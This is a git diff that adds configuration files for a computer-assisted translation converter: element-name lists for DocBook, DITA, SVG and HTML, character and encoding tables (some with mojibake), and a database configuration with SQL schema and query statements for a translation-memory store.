+confnum +confsponsor +conftitle +constant +constraintdef +constructorsynopsis +contractnum +contractsponsor +contrib +copyright +coref +corpauthor +corpcredit +corpname +country +database +date +dedication +destructorsynopsis +edition +editor +email +emphasis +entry +entrytbl +envar +epigraph +equation +errorcode +errorname +errortext +errortype +example +exceptionname +fax +fieldsynopsis +figure +filename +firstname +firstterm +footnote +footnoteref +foreignphrase +formalpara +funcdef +funcparams +funcprototype +funcsynopsis +funcsynopsisinfo +function +glossary +glossdef +glossdiv +glossentry +glosslist +glosssee +glossseealso +glossterm +graphic +graphicco +group +guibutton +guiicon +guilabel +guimenu +guimenuitem +guisubmenu +hardware +highlights +holder +honorific +html:form +important +index +indexdiv +indexentry +indexterm +informalequation +informalexample +informalfigure +informaltable +initializer +inlineequation +inlinegraphic +inlinemediaobject +interface +interfacename +invpartnumber +isbn +issn +issuenum +itemizedlist +jobtitle +keycap +keycode +keycombo +keysym +keyword +keywordset +label +legalnotice +lhs +lineage +lineannotation +link +literal +literallayout +lot +lotentry +manvolnum +markup +medialabel +mediaobject +mediaobjectco +member +menuchoice +methodname +methodparam +methodsynopsis +mml:math +modifier +mousebutton +msg +msgaud +msgentry +msgexplan +msginfo +msglevel +msgmain +msgorig +msgrel +msgset +msgsub +msgtext +nonterminal +note +olink +ooclass +ooexception +oointerface +option +optional +orderedlist +orgdiv +orgname +otheraddr +othercredit +othername +pagenums +para +paramdef +parameter +part +partintro +personblurb +personname +phone +phrase +pob +postcode +preface +printhistory +procedure +production +productionrecap +productionset +productname +productnumber +programlisting +programlistingco +prompt +property +pubdate +publisher +publishername +pubsnumber +qandadiv +qandaentry +qandaset +question +quote +refclass +refdescriptor +refentry +refentrytitle +reference +refmeta +refmiscinfo +refname +refnamediv +refpurpose +refsect1 +refsect2 +refsect3 +refsection +refsynopsisdiv +refsynopsisdivinfo +releaseinfo +remark +replaceable +returnvalue +revdescription +revhistory +revision +revnumber +revremark +rhs +row +sbr +screen +screenco +screenshot +sect1 +sect2 +sect3 +sect4 +sect5 +section +see +seealso +seealsoie +seeie +seg +seglistitem +segmentedlist +segtitle +seriesvolnums +set +setindex +sgmltag +shortaffil +shortcut +sidebar +simpara +simplelist +simplemsgentry +simplesect +state +street +structfield +structname +subject +subjectset +subjectterm +subscript +subtitle +superscript +surname +svg:svg +symbol +synopfragment +synopfragmentref +synopsis +systemitem +table +task +taskprerequisites +taskrelated +tasksummary +td +term +tfoot +th +thead +tip +title +titleabbrev +toc +tocback +tocchap +tocentry +tocfront +toclevel1 +toclevel2 +toclevel3 +toclevel4 +toclevel5 +tocpart +token +tr +trademark +type +ulink +uri +userinput +variablelist +varlistentry +varname +volumenum +warning +wordasword +year + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_section.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_section.xml new file mode 100644 index 0000000..6210f77 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_section.xml @@ -0,0 +1,357 @@ + + +abbrev +abstract +accel +ackno +acronym +action +address +affiliation +alt +answer +appendix +appendixinfo +application +arg +article +articleinfo +artpagenums +attribution +author +authorblurb +authorgroup +authorinitials +beginpage +bibliocoverage +bibliodiv +biblioentry +bibliography +biblioid +bibliomisc +bibliomixed +bibliomset +bibliorelation +biblioset +bibliosource +blockquote +book +bridgehead +callout +calloutlist +caption +caution +chapter +citation +citebiblioid +citerefentry +citetitle +city +classname +classsynopsis +classsynopsisinfo +cmdsynopsis +co +code +col +collab +collabname +colophon +colgroup +command +computeroutput +confdates +confgroup +confnum +confsponsor +conftitle +constant +constraintdef +constructorsynopsis +contractnum +contractsponsor +contrib +copyright +coref +corpauthor +corpcredit +corpname +country +database +date +dedication +destructorsynopsis +edition +editor +email +emphasis +entry +entrytbl +envar +epigraph +equation +errorcode +errorname +errortext +errortype +example +exceptionname +fax +fieldsynopsis +figure +filename +firstname +firstterm +footnote +footnoteref +foreignphrase +formalpara +funcdef +funcparams +funcprototype +funcsynopsis +funcsynopsisinfo +function +glossary +glossdef +glossdiv +glossentry +glosslist +glosssee +glossseealso +glossterm +graphic +graphicco +group +guibutton +guiicon +guilabel +guimenu +guimenuitem +guisubmenu +hardware +highlights +holder +honorific +html:form +important +index +indexdiv +indexentry +indexterm +informalequation +informalexample +informalfigure +informaltable +initializer +inlineequation +inlinegraphic +inlinemediaobject +interface +interfacename +invpartnumber +isbn +issn +issuenum +itemizedlist +jobtitle +keycap +keycode +keycombo +keysym +keyword +keywordset +label +legalnotice +lhs +lineage +lineannotation +link +literal +literallayout +lot +lotentry +manvolnum +markup +medialabel +mediaobject +mediaobjectco +member +menuchoice +methodname +methodparam +methodsynopsis +mml:math +modifier +mousebutton +msg +msgaud +msgentry +msgexplan +msginfo +msglevel +msgmain +msgorig +msgrel +msgset +msgsub +msgtext +nonterminal +note +olink +ooclass +ooexception +oointerface +option +optional +orderedlist +orgdiv +orgname +otheraddr +othercredit +othername +pagenums +para +paramdef +parameter +part +partintro +personblurb +personname +phone +phrase +pob +postcode +preface +printhistory +procedure +production +productionrecap +productionset +productname +productnumber +programlisting +programlistingco +prompt +property +pubdate +publisher +publishername +pubsnumber +qandadiv +qandaentry +qandaset +question +quote +refclass +refdescriptor +refentry +refentrytitle +reference +refmeta +refmiscinfo +refname +refnamediv +refpurpose +refsect1 +refsect2 +refsect3 +refsection +refsynopsisdiv +refsynopsisdivinfo +releaseinfo +remark +replaceable +returnvalue +revdescription +revhistory +revision +revnumber +revremark +rhs +row +sbr +screen +screenco +screenshot +sect1 +sect2 +sect3 +sect4 +sect5 +section +see +seealso +seealsoie +seeie +seg +seglistitem +segmentedlist +segtitle +seriesvolnums +set +setindex +sgmltag +shortaffil +shortcut +sidebar +simpara +simplelist +simplemsgentry +simplesect +state +street +structfield +structname +subject +subjectset +subjectterm +subscript +subtitle +superscript +surname +svg:svg +symbol +synopfragment +synopfragmentref +synopsis +systemitem +table +task +taskprerequisites +taskrelated +tasksummary +td +term +tfoot +th +thead +tip +title +titleabbrev +toc +tocback +tocchap +tocentry +tocfront +toclevel1 +toclevel2 +toclevel3 +toclevel4 +toclevel5 +tocpart +token +tr +trademark +type +ulink +uri +userinput +variablelist +varlistentry +varname +volumenum +warning +wordasword +year + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_set.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_set.xml new file mode 100644 index 0000000..6210f77 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_set.xml @@ -0,0 +1,357 @@ + + +abbrev +abstract +accel +ackno +acronym +action +address +affiliation +alt +answer +appendix +appendixinfo +application +arg +article +articleinfo +artpagenums +attribution +author +authorblurb +authorgroup +authorinitials +beginpage +bibliocoverage +bibliodiv +biblioentry +bibliography +biblioid +bibliomisc +bibliomixed +bibliomset +bibliorelation +biblioset +bibliosource +blockquote +book +bridgehead +callout +calloutlist +caption +caution +chapter +citation +citebiblioid +citerefentry +citetitle +city +classname +classsynopsis +classsynopsisinfo +cmdsynopsis +co +code +col +collab +collabname +colophon +colgroup +command +computeroutput +confdates +confgroup +confnum +confsponsor +conftitle +constant +constraintdef +constructorsynopsis +contractnum +contractsponsor +contrib +copyright +coref +corpauthor +corpcredit +corpname +country +database +date +dedication +destructorsynopsis +edition +editor +email +emphasis +entry +entrytbl +envar +epigraph +equation +errorcode +errorname +errortext +errortype +example +exceptionname +fax +fieldsynopsis +figure +filename +firstname +firstterm +footnote +footnoteref +foreignphrase +formalpara +funcdef +funcparams +funcprototype +funcsynopsis +funcsynopsisinfo +function +glossary +glossdef +glossdiv +glossentry +glosslist +glosssee +glossseealso +glossterm +graphic +graphicco +group +guibutton +guiicon +guilabel +guimenu +guimenuitem +guisubmenu +hardware +highlights +holder +honorific +html:form +important +index +indexdiv +indexentry +indexterm +informalequation +informalexample +informalfigure +informaltable +initializer +inlineequation +inlinegraphic +inlinemediaobject +interface +interfacename +invpartnumber +isbn +issn +issuenum +itemizedlist +jobtitle +keycap +keycode +keycombo +keysym +keyword +keywordset +label +legalnotice +lhs +lineage +lineannotation +link +literal +literallayout +lot +lotentry +manvolnum +markup +medialabel +mediaobject +mediaobjectco +member +menuchoice +methodname +methodparam +methodsynopsis +mml:math +modifier +mousebutton +msg +msgaud +msgentry +msgexplan +msginfo +msglevel +msgmain +msgorig +msgrel +msgset +msgsub +msgtext +nonterminal +note +olink +ooclass +ooexception +oointerface +option +optional +orderedlist +orgdiv +orgname +otheraddr +othercredit +othername +pagenums +para +paramdef +parameter +part +partintro +personblurb +personname +phone +phrase +pob +postcode +preface +printhistory +procedure +production +productionrecap +productionset +productname +productnumber +programlisting +programlistingco +prompt +property +pubdate +publisher +publishername +pubsnumber +qandadiv +qandaentry +qandaset +question +quote +refclass +refdescriptor +refentry +refentrytitle +reference +refmeta +refmiscinfo +refname +refnamediv +refpurpose +refsect1 +refsect2 +refsect3 +refsection +refsynopsisdiv +refsynopsisdivinfo +releaseinfo +remark +replaceable +returnvalue +revdescription +revhistory +revision +revnumber +revremark +rhs +row +sbr +screen +screenco +screenshot +sect1 +sect2 +sect3 +sect4 +sect5 +section +see +seealso +seealsoie +seeie +seg +seglistitem +segmentedlist +segtitle +seriesvolnums +set +setindex +sgmltag +shortaffil +shortcut +sidebar +simpara +simplelist +simplemsgentry +simplesect +state +street +structfield +structname +subject +subjectset +subjectterm +subscript +subtitle +superscript +surname +svg:svg +symbol +synopfragment +synopfragmentref +synopsis +systemitem +table +task +taskprerequisites +taskrelated +tasksummary +td +term +tfoot +th +thead +tip +title +titleabbrev +toc +tocback +tocchap +tocentry +tocfront +toclevel1 +toclevel2 +toclevel3 +toclevel4 +toclevel5 +tocpart +token +tr +trademark +type +ulink +uri +userinput +variablelist +varlistentry +varname +volumenum +warning +wordasword +year + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_sst.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_sst.xml new file mode 100644 index 0000000..a0d9e4a --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_sst.xml @@ -0,0 +1,3 @@ + + +t \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_svg.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_svg.xml new file mode 100644 index 0000000..a60c115 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_svg.xml @@ -0,0 +1,10 @@ + + +text +tspan +tref +textPath +title +desc +a + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_task.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_task.xml new file mode 100644 index 0000000..c408cbe --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_task.xml @@ -0,0 +1,125 @@ + + +title +titlealts +navtitle +searchtitle +shortdesc +section +body +example +related-links +refsyn +proptypehd +propvaluehd +propdeschd +proptype +propvalue +propdesc +postreq +prereq +result +context +choice +stepxmp +cmd +info +stepresult +tutorialinfo +chdesc +chdechd +choption +choptionhd +alt +cite +desc +dd +ddhd +dt +dthd +image +keyword +li +lines +lq +note +p +ph +pre +q +sli +xref +thead +stentry +entry +b +i +u +tt +sup +sub +codeph +codeblock +option +kwd +var +parmname +synph +oper +delim +sep +apiname +parml +pt +pd +groupseq +groupchoice +groupcomp +fragref +synnote +repsep +msgph +msgblock +msgnum +cmdname +varname +filepath +userinput +systemoutput +uicontrol +wintitle +menucascade +shortcut +screen +coords +draft-comment +fn +indexterm +indextermref +tm +author +brand +category +component +copyrholder +copyright +copyryear +created +featnum +keywords +platform +prodname +prognum +publisher +revised +series +source +vrm +linkinfo +linktext +itemgroup +state +term +map +topichead + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_w.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_w.xml new file mode 100644 index 0000000..47733d8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/config_w.xml @@ -0,0 +1,6 @@ + + + + w:p + o:title + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/dictionary_es.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/dictionary_es.xml new file mode 100644 index 0000000..0f11595 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/dictionary_es.xml @@ -0,0 +1,2 @@ + +XMLTMDTDSRX \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/dictionary_pl.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/dictionary_pl.xml new file mode 100644 index 0000000..7bf1b8c --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/dictionary_pl.xml @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/init_html.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/init_html.xml new file mode 100644 index 0000000..25e8775 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/init_html.xml @@ -0,0 +1,164 @@ + + + + ? + !-- + body + p + br + title + caption + table + tr + td + th + dd + div + h1 + h2 + h3 + h4 + h5 + h6 + ol + ul + li + label + legend + code + param + option + input + button + meta + pre + blockquote + address + + img + a + b + i + u + +   + ¡ + ¢ + £ + ¤ + ¥ + ¦ + § + ¨ + © + ª + « + ¬ + ­ + ® + ¯ + ° + ± + ² + ³ + ´ + µ + + · + ¸ + ¹ + º + » + ¼ + ½ + ¾ + ¿ + À + Á +  + à + Ä + Å + Æ + Ç + È + É + Ê + Ë + Ì + Í + Î + Ï + Ð + Ñ + Ò + Ó + Ô + Õ + Ö + × + Ø + Ù + Ú + Û + Ü + Ý + Þ + ß + à + á + â + ã + ä + å + æ + ç + è + é + ê + ë + ì + í + î + ï + ð + ñ + ò + ó + ô + õ + ö + ÷ + ø + ù + ú + û + ü + ý + þ + ÿ + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/init_mif.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/init_mif.xml new file mode 100644 index 0000000..d120885 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/init_mif.xml @@ -0,0 +1,225 @@ + + + + ! + " + # + $ + % + & + ' + ( + ) + * + + + , + - + . + / + 0 + 1 + 2 + 3 + 4 + 5 + 6 + 7 + 8 + 9 + : + ; + < + = + > + ? + @ + A + B + C + D + E + F + G + H + I + J + K + L + M + N + O + P + Q + R + S + T + U + V + W + X + Y + Z + [ + \ + ] + ^ + _ + ` + a + b + c + d + e + f + g + h + i + j + k + l + m + n + o + p + q + r + s + t + u + v + w + x + y + z + { + | + } + ~ + Ä + Å + Ç + É + Ñ + Ö + Ü + á + à + â + ä + ã + å + ç + é + è + ê + ë + í + ì + î + ï + ñ + ó + ò + ô + ö + õ + ú + ù + û + ü + + ° + ¢ + £ + § + + + ß + ® + © + + ´ + ¨ + ? + Æ + Ø + + ± + + + ¥ + + + + + ? + + ª + º + + æ + ø + ¿ + ¡ + ¬ + + ƒ + + + « + » + + + À + à + Õ + Œ + œ + + + + + + + + + ÿ + Ÿ + / + ¤ + < + > + + + + · + + + +  + Ê + Á + Ë + È + Í + Î + Ï + Ì + Ó + Ô + + Ò + Ú + Û + Ù + ˡ + ^ + ~ + ¯ + ˘ + ˙ + ˚ + ¸ + ˝ + ̨ + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/rtf_encodings.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/rtf_encodings.xml new file mode 100644 index 0000000..8be9e18 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/rtf_encodings.xml @@ -0,0 +1,30 @@ + + + 1252 + Default + Symbol + Invalid + 10000 + 10001 + Shift_JIS + 949 + Johab + 936 + 950 + 1253 + 1254 + 1258 + 1255 + 1256 + 1256 + 1256 + 1255 + 1257 + 1251 + 874 + 1250 + 437 + OEM + 10000 + + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/symbol.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/symbol.xml new file mode 100644 index 0000000..c1a3c17 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/symbol.xml @@ -0,0 +1,227 @@ + + + + ! + ∀ + # + ∃ + % + & + ∠+ ( + ) + * + + + , + - + . + / + 0 + 1 + 2 + 3 + 4 + 5 + 6 + 7 + 8 + 9 + : + ; + < + = + > + ? + ≅ + Α + Î’ + Χ + Δ + Ε + Φ + Γ + Η + Ι + Ï‘ + Κ + Λ + Îœ + Î + Ο + Π + Θ + Ρ + Σ + Τ + Î¥ + Ï‚ + Ω + Ξ + Ψ + Ζ + [ + ∴ + ] + ⊥ + _ + ⎺ + α + β + χ + δ + ε + Ï• + γ + η + ι + φ + κ + λ + μ + ν + ο + Ï€ + Ï + σ + Ï„ + Ï… + Ï– + ω + ξ + ψ + ζ + { + | + } + ~ + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + � + Ï’ + ´ + ≤ + ∕ + ∞ + ⨠+ ♣ + ♦ + ♥ + â™  + ↔ + ↠+ ↑ + → + ↓ + ° + ± + ″ + ≥ + ⨉ + ∠+ ∂ + â— + ÷ + ≠ + ≡ + ≈ + … + ☠+ ― + ↲ + ℵ + â„‘ + â„œ + ℘ + ⊗ + ⊕ + ⌀ + â‹‚ + ⋃ + ⊃ + ⊇ + ⊄ + ⊂ + ⊆ + ∈ + ∉ + ∠ + ∇ + ® + © + â„¢ + Π + √ + • + ¬ + ∧ + ∨ + ⇔ + ⇠+ ⇑ + ⇒ + ⇓ + â‹„ + 〈 + ® + © + â„¢ + ∑ + ⎛ + ⎜ + ⎠+ ⎡ + ⎢ + ⎣ + ⎧ + ⎨ + ⎩ + ⎪ + ⌷ + 〉 + ∫ + ⌠ + ⎮ + ⌡ + ⎞ + ⎟ + ⎠ + ⎤ + ⎥ + ⎦ + ⎫ + ⎬ + ⎭ + � + diff --git a/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/tmdb_config.xml b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/tmdb_config.xml new file mode 100644 index 0000000..8af3974 --- /dev/null +++ b/ts/net.heartsome.cat.ts.configurationfile.feature/configuration/net.heartsome.cat.converter/ini/tmdb_config.xml @@ -0,0 +1,896 @@ + + + + + org.hsqldb.jdbcDriver + jdbc:hsqldb:file:database/__DATABASE_NAME__ + + sa + + + + + CREATE CACHED TABLE HSDB7LIST ( + DBNAME VARCHAR(150) NOT NULL, + QUALITY CHAR(1) NOT NULL, + PRIMARY KEY (DBNAME) + ) + + INSERT INTO HSDB7LIST (DBNAME,QUALITY) VALUES (?,?) + DELETE FROM HSDB7LIST WHERE DBNAME=? + SELECT DBNAME, QUALITY FROM HSDB7LIST + + + CREATE CACHED TABLE TU ( + TUID VARCHAR(30) NOT NULL, + CREATIONID VARCHAR(30), + CREATIONDATE DATETIME, + CHANGEID VARCHAR(30), + CHANGEDATE DATETIME, + CREATIONTOOL VARCHAR(200), + CREATIONTOOLVERSION VARCHAR(200), + PRIMARY KEY (TUID) ) + CREATE CACHED TABLE TUV ( + TUID VARCHAR(30) NOT NULL, + LANG VARCHAR(6) NOT NULL, + SEG VARCHAR NOT NULL, + PURETEXT VARCHAR NOT NULL, + CLIENTID VARCHAR, + CREATIONID VARCHAR(30), + CREATIONDATE DATETIME, + CHANGEID VARCHAR(30), + CHANGEDATE DATETIME, + CREATIONTOOL VARCHAR(200), + CREATIONTOOLVERSION VARCHAR(200), + HASH INTEGER NOT NULL, + TUVTEXT VARCHAR NOT NULL, + PREVIOUSHASH VARCHAR, + NEXTHASH VARCHAR, + PROJECTREF VARCHAR(256), + JOBREF VARCHAR(256), + PRIMARY KEY (TUID,LANG), + FOREIGN KEY (TUID) REFERENCES TU ) + CREATE INDEX I_TUV_LANG ON TUV(LANG) + CREATE INDEX I_TUV_HASH ON TUV(HASH) + CREATE CACHED TABLE TU_NOTE ( + TUID VARCHAR(30) NOT NULL, + NOTEID VARCHAR(30) NOT NULL, + CONTENT VARCHAR, + PRIMARY KEY (TUID, NOTEID) ) + CREATE CACHED TABLE TU_PROP ( + TUID VARCHAR(30) NOT NULL, + PROPTYPE VARCHAR(255), + CONTENT VARCHAR, + PRIMARY KEY (TUID, PROPTYPE) ) + CREATE TABLE LANGS ( + LANG VARCHAR(6) NOT NULL ) + + + + DROP TABLE TU_PROP + DROP TABLE TU_NOTE + DROP TABLE TUV + DROP TABLE TU + + SELECT * FROM LANGS + CREATE TABLE MATRIX___LANG__ ( + TUID VARCHAR(30) NOT NULL, + NGRAM INTEGER NOT NULL, + SEGSIZE INTEGER, + PRIMARY KEY (TUID,NGRAM) ) + + CREATE INDEX I_MATRIX___LANG___SEGSIZE ON MATRIX___LANG__(SEGSIZE) + + INSERT INTO LANGS VALUES (?) + INSERT INTO MATRIX___LANG__ (TUID, NGRAM, SEGSIZE) VALUES (?,?,?) + SELECT TUID FROM MATRIX___LANG__ WHERE NGRAM IN (__SET__) AND SEGSIZE >=? AND SEGSIZE<=? + SELECT TUID FROM TUV WHERE PURETEXT=? AND LANG=? + SELECT TUID,NGRAM FROM MATRIX___LANG__ WHERE NGRAM IN (__SET__) + SELECT TUID, LANG, SEG, PURETEXT, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, TUVTEXT FROM TUV WHERE TUID=? AND LANG=? + SELECT TUID, SEG FROM TUV WHERE HASH=? AND LANG=? + SELECT TUID, SEG FROM TUV WHERE HASH=? AND LANG=? AND PREVIOUSHASH=? AND NEXTHASH=? + DELETE FROM MATRIX___LANG__ WHERE TUID=? + INSERT INTO TU (TUID, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION) VALUES (?,?,?,?,?,?,?) + UPDATE TU SET CREATIONID=?,CREATIONDATE=?,CHANGEID=?,CHANGEDATE=?,CREATIONTOOL=?,CREATIONTOOLVERSION=? WHERE TUID=? + SELECT TUID, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION FROM TU WHERE TUID=? + INSERT INTO TUV (TUID, LANG, SEG, PURETEXT, CLIENTID, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, HASH, TUVTEXT, PREVIOUSHASH, NEXTHASH, PROJECTREF, JOBREF) VALUES (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?) + DELETE FROM TUV WHERE TUID=? AND LANG=? + DELETE FROM TU WHERE TUID=? + DELETE FROM TU_PROP WHERE TUID=? + DELETE FROM TU_PROP WHERE TUID=? AND PROPTYPE=? AND CONTENT=? + DELETE FROM TU_NOTE WHERE TUID=? + INSERT INTO TU_NOTE (TUID, NOTEID, CONTENT) VALUES (?,?,?) + INSERT INTO TU_PROP (TUID, PROPTYPE, CONTENT) VALUES (?,?,?) + SELECT TUID, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION FROM TU + SELECT LANG,SEG, CREATIONID, CREATIONDATE, CHANGEDATE, CREATIONTOOL, CREATIONTOOLVERSION, TUVTEXT FROM TUV WHERE TUID=? + SELECT CONTENT FROM TU_NOTE WHERE TUID = ? + SELECT PROPTYPE, CONTENT FROM TU_PROP WHERE TUID = ? + SELECT COUNT(TUID) FROM TUV A WHERE LANG=? AND REGEXP(?,?) + SELECT LIMIT ? ? A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,A.SEG ASEG,B.SEG BSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? WHERE REGEXP(?,?) AND A.LANG=? ORDER BY __ORDERBY__ + SELECT LIMIT ? ? A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,C.LANG CLANG,A.SEG ASEG,B.SEG BSEG,C.SEG CSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,C.PURETEXT CPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,C.CLIENTID CCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,C.CREATIONID CCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,C.CREATIONDATE CCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,C.CHANGEID CCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,C.CHANGEDATE CCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,C.PROJECTREF CPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF,C.JOBREF CJOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? LEFT JOIN TUV C ON A.TUID = C.TUID AND C.LANG=? WHERE REGEXP(?,?) AND A.LANG=? ORDER BY __ORDERBY__ + SELECT COUNT(TUID) FROM TUV A WHERE LANG=? AND (__CONDITION__) + SELECT LIMIT ? ? A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,A.SEG ASEG,B.SEG BSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? WHERE A.LANG=? AND ( __CONDITION__ ) ORDER BY __ORDERBY__ + SELECT LIMIT ? ? A.TUID ATUID,A.LANG ALANG,B.LANG BLANG,C.LANG CLANG,A.SEG ASEG,B.SEG BSEG,C.SEG CSEG,A.PURETEXT APURETEXT,B.PURETEXT BPURETEXT,C.PURETEXT CPURETEXT,A.CLIENTID ACLIENTID,B.CLIENTID BCLIENTID,C.CLIENTID CCLIENTID,A.CREATIONID ACREATIONID,B.CREATIONID BCREATIONID,C.CREATIONID CCREATIONID,A.CREATIONDATE ACREATIONDATE,B.CREATIONDATE BCREATIONDATE,C.CREATIONDATE CCREATIONDATE,A.CHANGEID ACHANGEID,B.CHANGEID BCHANGEID,C.CHANGEID CCHANGEID,A.CHANGEDATE ACHANGEDATE,B.CHANGEDATE BCHANGEDATE,C.CHANGEDATE CCHANGEDATE,A.PROJECTREF APROJECTREF,B.PROJECTREF BPROJECTREF,C.PROJECTREF CPROJECTREF,A.JOBREF AJOBREF,B.JOBREF BJOBREF,C.JOBREF CJOBREF FROM TUV A LEFT JOIN TUV B ON A.TUID = B.TUID AND B.LANG=? LEFT JOIN TUV C ON A.TUID = C.TUID AND C.LANG=? WHERE A.LANG=? AND ( __CONDITION__ ) ORDER BY __ORDERBY__ + SELECT LANG, SEG, PURETEXT, CREATIONID, CREATIONDATE, CHANGEID, CHANGEDATE, PREVIOUSHASH, NEXTHASH, PROJECTREF, JOBREF FROM TUV WHERE TUID=? AND (LANG=? OR LANG=?) + SELECT LANG, SEG, PURETEXT FROM TUV WHERE TUID=? AND (LANG=? OR LANG=?) + SELECT DISTINCT LANG FROM TUV + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='projectref' ORDER BY 1 + SELECT DISTINCT CONTENT FROM TU_PROP WHERE PROPTYPE='jobref' ORDER BY 1 + SELECT DISTINCT 